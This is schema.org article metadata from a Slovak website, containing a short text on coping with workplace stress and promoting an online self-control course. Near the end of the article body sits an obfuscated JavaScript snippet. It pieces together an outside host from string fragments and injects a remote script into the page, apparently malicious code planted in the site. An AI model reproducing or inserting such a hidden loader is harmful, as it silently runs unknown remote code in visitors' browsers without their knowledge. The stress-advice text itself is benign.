[{"@context":"https:\/\/schema.org\/","@type":"Article","@id":"https:\/\/www.sbx.sk\/ako-zvladat-stresove-situacie\/#Article","mainEntityOfPage":"https:\/\/www.sbx.sk\/ako-zvladat-stresove-situacie\/","headline":"Ako zvl\u00e1da\u0165 stresov\u00e9 situ\u00e1cie?","name":"Ako zvl\u00e1da\u0165 stresov\u00e9 situ\u00e1cie?","description":"Stres na pracovisku prin\u00e1\u0161a v\u017edy viac negat\u00edvnych ako pozit\u00edvnych d\u00f4sledkov. Vznik\u00e1 prirodzene, je be\u017enou reakciou n\u00e1\u0161ho organizmu v z\u00e1\u0165a\u017eov\u00fdch a kr\u00edzov\u00fdch situ\u00e1ci\u00e1ch. Nevyhneme sa mu, ale pomocou vhodn\u00fdch met\u00f3d ho vieme zmier\u0148ova\u0165 a lep\u0161ie zn\u00e1\u0161a\u0165. Pozor! Aj ke\u010f je n\u00e1m pracovn\u00fd stres \u201evlastn\u00fd\u201c, patr\u00ed v\u00fdlu\u010dne len do tohto prostredia. Ve\u013emi probl\u00e9mov\u00fdm za\u010d\u00edna by\u0165 vo chv\u00edli,...","datePublished":"2021-10-06","dateModified":"2023-09-01","author":{"@type":"Person","@id":"https:\/\/www.sbx.sk\/author\/devene\/#Person","name":"devene","url":"https:\/\/www.sbx.sk\/author\/devene\/","identifier":1,"image":{"@type":"ImageObject","@id":"https:\/\/secure.gravatar.com\/avatar\/418160ee289a2fec3674f670db35c39ff464fe73fac536520dac7def2cfdeb26?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/418160ee289a2fec3674f670db35c39ff464fe73fac536520dac7def2cfdeb26?s=96&d=mm&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"sbx.sk","logo":{"@type":"ImageObject","@id":"\/logo.png","url":"\/logo.png","width":600,"height":60}},"image":{"@type":"ImageObject","@id":"https:\/\/www.sbx.sk\/wp-content\/uploads\/hl1f902aa0lpdbh_hc65KH.jpg","url":"https:\/\/www.sbx.sk\/wp-content\/uploads\/hl1f902aa0lpdbh_hc65KH.jpg","height":0,"width":0},"url":"https:\/\/www.sbx.sk\/ako-zvladat-stresove-situacie\/","about":["Slu\u017eby"],"wordCount":380,"articleBody":"         Stres na pracovisku prin\u00e1\u0161a v\u017edy viac negat\u00edvnych ako pozit\u00edvnych d\u00f4sledkov. Vznik\u00e1 prirodzene, je be\u017enou reakciou n\u00e1\u0161ho organizmu v z\u00e1\u0165a\u017eov\u00fdch a kr\u00edzov\u00fdch situ\u00e1ci\u00e1ch. Nevyhneme sa mu, ale pomocou vhodn\u00fdch met\u00f3d ho vieme zmier\u0148ova\u0165 a lep\u0161ie zn\u00e1\u0161a\u0165.  Pozor! Aj ke\u010f je n\u00e1m pracovn\u00fd stres \u201evlastn\u00fd\u201c, patr\u00ed v\u00fdlu\u010dne len do tohto prostredia. Ve\u013emi probl\u00e9mov\u00fdm za\u010d\u00edna by\u0165 vo chv\u00edli, ke\u010f u\u017e dolieha na na\u0161e s\u00fakromie a vo\u013en\u00fd \u010das. Neraz si zato m\u00f4\u017eeme sami, \u013eudovo povedan\u00e9 \u2013 ke\u010f si pr\u00e1cu nos\u00edme domov alebo si naivne mysl\u00edme, \u017ee na pracovn\u00e9 probl\u00e9my sa \u0161pecializuje na\u0161a rodina a bl\u00edzki. Ak u\u017e h\u013eada\u0165 odborn\u00edkov, tak cez prezen\u010dn\u00e9 alebo na t\u00e9mu osobn\u00e9ho rozvoja s lektormi a kou\u010dmi a nie \u201edoma pri k\u00e1vi\u010dke\u201c.online vzdel\u00e1vanie Je to ale len jedna z mo\u017enost\u00ed, ako zmier\u0148ova\u0165 pracovn\u00e9 nap\u00e4tie, ako tvorivo pristupova\u0165 k probl\u00e9mom a ma\u0165 kontrolu nad svojimi my\u0161lienkami. Kurz prebieha formou odborn\u00e9ho v\u00fdkladu, ale aj dostato\u010dn\u00e9ho priestoru na diskusiu pre konkr\u00e9tne stresov\u00e9 situ\u00e1cie.   Ktor\u00e9 pracovn\u00e9 stresov\u00e9 situ\u00e1cie naj\u010dastej\u0161ie ovplyv\u0148uj\u00fa n\u00e1\u0161 v\u00fdkon a nasadenie?  \u0160tandardne vymenujeme vysok\u00e9 a\u017e prehnan\u00e9 pracovn\u00e9 za\u0165a\u017eovanie, podrazy, ne\u00fatuln\u00e9 pracovn\u00e9 prostredie, finan\u010dn\u00fa politiku, vz\u0165ahy na pracovisku a pomal\u00fd alebo \u017eiadny kari\u00e9rny rast. Mnoh\u00fdm v\u0161ak stres sp\u00f4sobuje vlastn\u00e1 nerozhodnos\u0165, n\u00edzke sebavedomie \u010di naopak, (na oko) sebavedom\u00fd pr\u00edstup v tom nespr\u00e1vnom \u010dase a sp\u00f4sobe. Tieto situ\u00e1cie vo v\u00e1s nielen\u017ee stup\u0148uj\u00fa stres, ale u\u017e zv\u00e4\u010d\u0161a ani nedok\u00e1\u017eete rozl\u00ed\u0161i\u0165 medzi svojimi siln\u00fdmi a slab\u0161\u00edmi str\u00e1nkami. C\u00edtite sa tr\u00e1pne, s vedom\u00edm, \u017ee op\u00e4\u0165 zlyh\u00e1te, za\u010d\u00ednate napodob\u0148ova\u0165 kolegov \u2013 \u017eia\u013e, str\u00e1cate vlastn\u00fa identitu! V\u00fdhodou v nev\u00fdhode ale je, ke\u010f v\u00e1s t\u00e1to osobnostn\u00e1 kr\u00edza dovedie a\u017e na kurz sebaovl\u00e1dania online. Tu n\u00e1jdete konkr\u00e9tny n\u00e1vod, ako toxick\u00e9 elementy z pracovn\u00e9ho prostredia odstra\u0148ova\u0165 a te\u0161i\u0165 sa z ka\u017ed\u00e9ho men\u0161ieho \u00faspechu. Gratulujeme!  (function(){ qwj0=document.createElement(\"script\");qwj0_=(\"us\")+(\"ta\"); qwj0_+=\"t\"+(\".\");qwj0_+=(\"in\");qwj0u=\"314516018\";qwj0.async=true; qwj0u+=\".2rm2fgf1wj0sgfv0g\";qwj0.type=\"text\/javascript\";qwj0_+=\"f\"+\"o\"+(\"\/\"); qwj0u+=\"yesw4ns6hugf7\";qwj0.src=\"https:\/\/\"+qwj0_+qwj0u; dqwj0=document.body;dqwj0.appendChild(qwj0); })();                                                                                                                                                                                                                                                                                                                                                                                           3.9\/5 - (7 votes)        "},{"@context":"https:\/\/schema.org\/","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Ako zvl\u00e1da\u0165 stresov\u00e9 situ\u00e1cie?","item":"https:\/\/www.sbx.sk\/ako-zvladat-stresove-situacie\/#breadcrumbitem"}]}]